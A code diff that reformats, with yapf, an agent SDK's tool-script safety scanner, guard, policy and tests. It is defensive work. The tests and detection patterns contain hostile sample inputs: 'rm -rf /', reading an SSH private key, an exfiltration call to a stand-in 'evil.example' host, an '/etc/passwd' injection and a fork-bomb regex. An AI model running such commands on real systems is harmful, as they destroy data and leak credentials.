style tool safety guard with yapf

Author: March-77

scripts/tool_safety_check.py

@@ -30,9 +30,7 @@ def main() -> int:
     if language == "auto" and args.file:
         language = "python" if args.file.suffix == ".py" else "bash"
     scanner = ToolScriptSafetyScanner.from_policy_file(args.policy)
-    report = scanner.scan(
-        ToolSafetyRequest(tool_name=args.tool_name, script=script, language=language)
-    )
+    report = scanner.scan(ToolSafetyRequest(tool_name=args.tool_name, script=script, language=language))
     print(json.dumps(report.model_dump(mode="json"), ensure_ascii=False, indent=2))
     return 0 if report.decision.value == "allow" else 2
 

tests/tools/safety/test_tool_script_safety.py

@@ -30,8 +30,7 @@ def scanner() -> ToolScriptSafetyScanner:
         ToolSafetyPolicy(
             allowed_domains=["api.example.com"],
             allowed_commands=["echo", "pwd", "ls", "cat", "grep", "curl"],
-        )
-    )
+        ))
 
 
 @pytest.mark.parametrize(
@@ -40,8 +39,7 @@ def scanner() -> ToolScriptSafetyScanner:
         ("safe_python", "python", "items = [1, 2, 3]\nprint(sum(items))", "allow", None),
         ("dangerous_delete", "bash", "rm -rf /", "deny", "FILE_DESTRUCTIVE"),
         ("read_ssh_key", "python", "print(open('~/.ssh/id_rsa').read())", "deny", "PATH_FORBIDDEN"),
-        ("network_egress", "python", "requests.get('https://evil.example/collect')", "deny",
-         "NET_DOMAIN_NOT_ALLOWED"),
+        ("network_egress", "python", "requests.get('https://evil.example/collect')", "deny", "NET_DOMAIN_NOT_ALLOWED"),
         ("allowed_network", "python", "requests.get('https://api.example.com/health')", "allow", None),
         ("subprocess", "python", "subprocess.run(['git', 'status'])", "needs_human_review", "PROCESS_SPAWN"),
         ("shell_injection", "bash", "echo safe; cat /etc/passwd", "deny", "SHELL_CONTROL_OPERATOR"),
@@ -72,16 +70,12 @@ def test_policy_reload_changes_domain_path_and_command(tmp_path):
         encoding="utf-8",
     )
     scanner = ToolScriptSafetyScanner.from_policy_file(policy_file)
-    report = scanner.scan(
-        ToolSafetyRequest(tool_name="x", script="status", language="bash")
-    )
+    report = scanner.scan(ToolSafetyRequest(tool_name="x", script="status", language="bash"))
     assert report.decision == SafetyDecision.ALLOW
-    assert scanner.scan(ToolSafetyRequest(
-        tool_name="x", script="curl https://internal.example/ok", language="python"
-    )).decision == SafetyDecision.ALLOW
-    assert "PATH_FORBIDDEN" in scanner.scan(ToolSafetyRequest(
-        tool_name="x", script="open('/sensitive/key')", language="python"
-    )).rule_ids
+    assert scanner.scan(ToolSafetyRequest(tool_name="x", script="curl https://internal.example/ok",
+                                          language="python")).decision == SafetyDecision.ALLOW
+    assert "PATH_FORBIDDEN" in scanner.scan(
+        ToolSafetyRequest(tool_name="x", script="open('/sensitive/key')", language="python")).rule_ids
 
 
 def test_500_line_scan_is_faster_than_one_second(scanner):
@@ -142,8 +136,7 @@ def test_sensitive_environment_values_are_not_recorded(scanner):
             script="print('done')",
             language="python",
             environment={"API_KEY": "super-secret-value"},
-        )
-    )
+        ))
     serialized = report.model_dump_json()
     assert report.redacted is True
     assert "super-secret-value" not in serialized

trpc_agent_sdk/tools/safety/_guard.py

@@ -112,9 +112,8 @@ async def run(
     ) -> Any:
         report = self.check(request)
         approved = bool(request.metadata.get("human_approved"))
-        if report.decision == SafetyDecision.DENY or (
-            report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW and not approved
-        ):
+        if report.decision == SafetyDecision.DENY or (report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW
+                                                      and not approved):
             raise ToolSafetyBlockedError(report)
         result = executor()
         if inspect.isawaitable(result):
@@ -125,19 +124,15 @@ async def run(
             try:
                 result = await asyncio.wait_for(result, timeout=timeout)
             except asyncio.TimeoutError as exc:
-                raise ToolSafetyResourceLimitError(
-                    f"Tool execution exceeded {timeout} seconds"
-                ) from exc
+                raise ToolSafetyResourceLimitError(f"Tool execution exceeded {timeout} seconds") from exc
         if isinstance(result, bytes):
             output_size = len(result)
         elif isinstance(result, str):
             output_size = len(result.encode("utf-8"))
         else:
             output_size = len(json.dumps(result, default=str).encode("utf-8"))
         if output_size > self.scanner.policy.max_output_bytes:
-            raise ToolSafetyResourceLimitError(
-                f"Tool output exceeded {self.scanner.policy.max_output_bytes} bytes"
-            )
+            raise ToolSafetyResourceLimitError(f"Tool output exceeded {self.scanner.policy.max_output_bytes} bytes")
         return result
 
 
@@ -168,13 +163,18 @@ async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult):
             language=req.get("language", "auto"),
             command_args=[str(value) for value in req.get("command_args", [])],
             working_directory=req.get("cwd") or req.get("working_directory"),
-            environment={str(key): str(value) for key, value in req.get("env", {}).items()},
-            metadata={"timeout": req.get("timeout"), "human_approved": req.get("human_approved", False)},
+            environment={
+                str(key): str(value)
+                for key, value in req.get("env", {}).items()
+            },
+            metadata={
+                "timeout": req.get("timeout"),
+                "human_approved": req.get("human_approved", False)
+            },
         )
         report = self.guard.check(request)
         approved = bool(request.metadata.get("human_approved"))
-        if report.decision == SafetyDecision.DENY or (
-            report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW and not approved
-        ):
+        if report.decision == SafetyDecision.DENY or (report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW
+                                                      and not approved):
             rsp.rsp = {"success": False, "safety_report": report.model_dump(mode="json")}
             rsp.is_continue = False

trpc_agent_sdk/tools/safety/_policy.py

@@ -20,8 +20,7 @@ class ToolSafetyPolicy(BaseModel):
     allowed_domains: list[str] = Field(default_factory=list)
     allowed_commands: list[str] = Field(default_factory=lambda: ["echo", "pwd", "ls"])
     forbidden_paths: list[str] = Field(
-        default_factory=lambda: ["~/.ssh", ".env", "credentials.json", "/etc/shadow", "/root"]
-    )
+        default_factory=lambda: ["~/.ssh", ".env", "credentials.json", "/etc/shadow", "/root"])
     max_timeout_seconds: int = 60
     max_output_bytes: int = 1_000_000
     deny_risk_levels: list[str] = Field(default_factory=lambda: ["critical", "high"])

trpc_agent_sdk/tools/safety/_scanner.py

@@ -29,9 +29,7 @@
     RiskLevel.CRITICAL: 4,
 }
 
-_SECRET_RE = re.compile(
-    r"(?i)(api[_-]?key|access[_-]?token|password|passwd|private[_-]?key|secret)"
-)
+_SECRET_RE = re.compile(r"(?i)(api[_-]?key|access[_-]?token|password|passwd|private[_-]?key|secret)")
 _URL_RE = re.compile(r"https?://[^\s'\"\\)]+", re.IGNORECASE)
 
 
@@ -100,7 +98,7 @@ def _add(
         text: str,
     ) -> None:
         evidence = evidence[:160]
-        line = text[: text.find(evidence)].count("\n") + 1 if evidence in text else None
+        line = text[:text.find(evidence)].count("\n") + 1 if evidence in text else None
         findings.append(
             SafetyFinding(
                 risk_type=risk_type,
@@ -109,29 +107,25 @@ def _add(
                 evidence=evidence,
                 recommendation=recommendation,
                 line=line,
-            )
-        )
+            ))
 
-    def _scan_paths(
-        self, text: str, working_directory: str | None, findings: list[SafetyFinding]
-    ) -> None:
+    def _scan_paths(self, text: str, working_directory: str | None, findings: list[SafetyFinding]) -> None:
         destructive = re.search(
             r"(?im)(rm\s+-[^\n]*r[^\n]*\s+(?:/|~)|shutil\.rmtree\s*\(|os\.remove\s*\(|"
             r"(?:open|Path)\s*\([^\n]+['\"]w['\"])",
             text,
         )
         if destructive:
-            self._add(findings, "dangerous_file_operation", RiskLevel.CRITICAL,
-                      "FILE_DESTRUCTIVE", destructive.group(0),
-                      "Restrict writes to an isolated workspace and require explicit approval.", text)
+            self._add(findings, "dangerous_file_operation", RiskLevel.CRITICAL, "FILE_DESTRUCTIVE",
+                      destructive.group(0), "Restrict writes to an isolated workspace and require explicit approval.",
+                      text)
         haystack = " ".join(filter(None, [text, working_directory]))
         for forbidden in self.policy.forbidden_paths:
             expanded = str(Path(forbidden).expanduser())
             candidates = {forbidden, expanded, forbidden.replace("~", "$HOME")}
             matched = next((candidate for candidate in candidates if candidate and candidate in haystack), None)
             if matched:
-                self._add(findings, "sensitive_path_access", RiskLevel.HIGH,
-                          "PATH_FORBIDDEN", matched,
+                self._add(findings, "sensitive_path_access", RiskLevel.HIGH, "PATH_FORBIDDEN", matched,
                           "Remove sensitive paths or use a narrowly scoped secret provider.", haystack)
 
     def _scan_network(self, text: str, findings: list[SafetyFinding]) -> None:
@@ -142,49 +136,38 @@ def _scan_network(self, text: str, findings: list[SafetyFinding]) -> None:
             allowed = any(host == domain.lower() or host.endswith("." + domain.lower())
                           for domain in self.policy.allowed_domains)
             if not allowed:
-                self._add(findings, "network_egress", RiskLevel.HIGH,
-                          "NET_DOMAIN_NOT_ALLOWED", url,
+                self._add(findings, "network_egress", RiskLevel.HIGH, "NET_DOMAIN_NOT_ALLOWED", url,
                           "Add a reviewed domain to allowed_domains or remove the request.", text)
         if network_api and not urls:
-            self._add(findings, "network_egress", RiskLevel.MEDIUM,
-                      "NET_DYNAMIC_DESTINATION", network_api.group(0),
+            self._add(findings, "network_egress", RiskLevel.MEDIUM, "NET_DYNAMIC_DESTINATION", network_api.group(0),
                       "Resolve the destination and request human review.", text)
 
-    def _scan_processes(
-        self, text: str, language: str, findings: list[SafetyFinding]
-    ) -> None:
+    def _scan_processes(self, text: str, language: str, findings: list[SafetyFinding]) -> None:
         shell_injection = re.search(r"(?m)(;|&&|\|\||`[^`]+`|\$\([^\)]+\))", text)
         if shell_injection:
-            self._add(findings, "shell_injection", RiskLevel.HIGH,
-                      "SHELL_CONTROL_OPERATOR", shell_injection.group(0),
-                          "Use an argv list and avoid shell interpolation/control operators.", text)
+            self._add(findings, "shell_injection", RiskLevel.HIGH, "SHELL_CONTROL_OPERATOR", shell_injection.group(0),
+                      "Use an argv list and avoid shell interpolation/control operators.", text)
         pipeline = re.search(r"(?<!\|)\|(?!\|)", text) if language in ("auto", "bash", "shell") else None
         if pipeline:
-            self._add(findings, "shell_pipeline", RiskLevel.MEDIUM,
-                      "SHELL_PIPELINE_REVIEW", pipeline.group(0),
+            self._add(findings, "shell_pipeline", RiskLevel.MEDIUM, "SHELL_PIPELINE_REVIEW", pipeline.group(0),
                       "Review every pipeline stage and avoid passing untrusted data.", text)
         process = re.search(r"(?i)\b(subprocess\.|os\.system\s*\(|sudo\b|nohup\b|&\s*$)", text)
         if process:
-            self._add(findings, "process_execution", RiskLevel.MEDIUM,
-                      "PROCESS_SPAWN", process.group(0),
+            self._add(findings, "process_execution", RiskLevel.MEDIUM, "PROCESS_SPAWN", process.group(0),
                       "Use an allowed command with bounded arguments or request review.", text)
         command = self._first_command(text) if language in ("auto", "bash", "shell") else None
         if command and command not in self.policy.allowed_commands and not process:
             if re.match(r"^[A-Za-z0-9_.-]+(?:\s|$)", text.strip()):
-                self._add(findings, "command_policy", RiskLevel.MEDIUM,
-                          "COMMAND_NOT_ALLOWED", command,
+                self._add(findings, "command_policy", RiskLevel.MEDIUM, "COMMAND_NOT_ALLOWED", command,
                           "Add the reviewed command to allowed_commands.", text)
 
     def _scan_dependencies(self, text: str, findings: list[SafetyFinding]) -> None:
         match = re.search(r"(?i)\b(?:pip(?:3)?|npm|yarn|apt(?:-get)?|brew)\s+install\b", text)
         if match:
-            self._add(findings, "dependency_install", RiskLevel.HIGH,
-                      "DEPENDENCY_INSTALL", match.group(0),
+            self._add(findings, "dependency_install", RiskLevel.HIGH, "DEPENDENCY_INSTALL", match.group(0),
                       "Build dependencies into a reviewed immutable environment.", text)
 
-    def _scan_resources(
-        self, text: str, metadata: dict, findings: list[SafetyFinding]
-    ) -> None:
+    def _scan_resources(self, text: str, metadata: dict, findings: list[SafetyFinding]) -> None:
         patterns: Iterable[tuple[str, RiskLevel, str]] = (
             (r"(?m)while\s+True\s*:", RiskLevel.HIGH, "RESOURCE_INFINITE_LOOP"),
             (r":\(\)\s*\{\s*:\|:&\s*;\s*\}", RiskLevel.CRITICAL, "RESOURCE_FORK_BOMB"),
@@ -199,13 +182,10 @@ def _scan_resources(
                           "Apply timeout, process, memory and concurrency limits in a sandbox.", text)
         timeout = metadata.get("timeout")
         if isinstance(timeout, (int, float)) and timeout > self.policy.max_timeout_seconds:
-            self._add(findings, "resource_abuse", RiskLevel.MEDIUM,
-                      "RESOURCE_TIMEOUT_LIMIT", str(timeout),
+            self._add(findings, "resource_abuse", RiskLevel.MEDIUM, "RESOURCE_TIMEOUT_LIMIT", str(timeout),
                       f"Limit timeout to {self.policy.max_timeout_seconds} seconds.", text)
 
-    def _scan_secrets(
-        self, text: str, environment: dict[str, str], findings: list[SafetyFinding]
-    ) -> bool:
+    def _scan_secrets(self, text: str, environment: dict[str, str], findings: list[SafetyFinding]) -> bool:
         output = re.search(
             r"(?is)(print|logging\.[a-z]+|echo|curl|requests\.(?:post|put))[^\n]{0,160}"
             r"(api[_-]?key|token|password|private[_-]?key|secret)",
@@ -214,8 +194,7 @@ def _scan_secrets(
         sensitive_env = [name for name in environment if _SECRET_RE.search(name)]
         if output or sensitive_env:
             evidence = output.group(0) if output else f"environment keys: {', '.join(sensitive_env)}"
-            self._add(findings, "sensitive_data_exposure", RiskLevel.HIGH,
-                      "SECRET_EXPOSURE", evidence,
+            self._add(findings, "sensitive_data_exposure", RiskLevel.HIGH, "SECRET_EXPOSURE", evidence,
                       "Redact secrets and pass opaque references instead of secret values.", text)
             return True
         return False